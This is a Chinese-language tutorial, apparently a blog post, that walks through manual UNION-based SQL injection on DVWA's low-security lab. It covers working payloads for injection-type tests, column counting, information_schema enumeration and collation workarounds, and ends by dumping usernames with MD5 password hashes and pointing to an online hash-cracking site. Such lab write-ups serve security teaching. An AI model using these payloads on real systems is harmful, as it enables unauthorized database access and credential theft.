SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程

1.判断注入点

一般和数据库进行交互的位置

2.判断注入点类型

字符型判断:

1' 报错

1' and '1'='2 错误结果

1' and '1'='1 正确结果

数字型判断:

1' 报错

1 and 1=2 错误结果

1 and 1=1 正确结果

3.获取数据回显位置

3.1 判断返回字段数

两种方式判断:1.order by 2. union select

1' order by 1# 正确显示结果

1' order by 2# 正确显示结果

1' order by 3# 报错

判断返回结果有两列。

3.2 判断回显位置

1' union select 1# 报错

1' union select 1,2# 正确显示,并成功显示回显位置

4.查询数据库名

database() 获取数据库名,user()获取用户名

1' union select database(),user() #

5.获取表名

数据库:information_schema

数据表:information_schema.tables

字段:table_schema = 'dvwa'

通过上面的内容查询表名,table_name

-1' union select 1,table_name from information_schema.tables

where table_schema=database()#

报错:

Illegal mix of collations for operation 'UNION' 编码错误

三种方式解决:

1.变成16进制输出

-1' union select 1,hex(table_name) from information_schema.tables

where table_schema=database()#

2.输出指定字符集

-1' union select 1,table_name collate utf8_general_ci from information_schema.tables

where table_schema=database()#

3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合

-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables

where table_schema=database()#

查询结果为:guestbook,users

5.查询字段名

数据库:information_schema

表:information_schema.columns

条件字段:table_schema='dvwa',table_name='users'

查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns

where table_schema=database() and table_name='users'#

查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.查询数据

查询表:users

查询字段:user,password

-1' union select 1,group_concat(user,'~',password) from users#

查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99

MD5在线解密:

https://www.cmd5.com/

相关推荐
IvorySQL12 小时前
PostgreSQL 技术日报 (3月9日)|EXPLAIN ANALYZE 计时优化与复制语法讨论
数据库·postgresql·开源
用户83071968408213 小时前
Java 告别繁琐数据统计代码!MySQL 8 窗口函数真香
java·sql·mysql
stark张宇15 小时前
MySQL 核心内幕:从索引原理、字段选型到日志机制与外键约束,一篇打通数据库任督二脉
数据库·mysql·架构
倔强的石头_15 小时前
融合数据库架构实践:关系型、JSON与全文检索的“一库多能”深度解析
数据库
星辰员17 小时前
KingbaseES数据库:ksql 命令行用户与权限全攻略,从创建到删除
数据库
华仔啊1 天前
千万别给数据库字段加默认值 null!真的会出问题
java·数据库·后端
随风飘的云2 天前
MySQL的慢查询优化解决思路
数据库
IvorySQL3 天前
PostgreSQL 技术日报 (3月7日)|生态更新与内核性能讨论
数据库·postgresql·开源
赵渝强老师3 天前
【赵渝强老师】金仓数据库的数据文件
数据库·国产数据库·kingbase·金仓数据库
随逸1773 天前
《Milvus向量数据库从入门到实战,手把手搭建语义检索系统》
数据库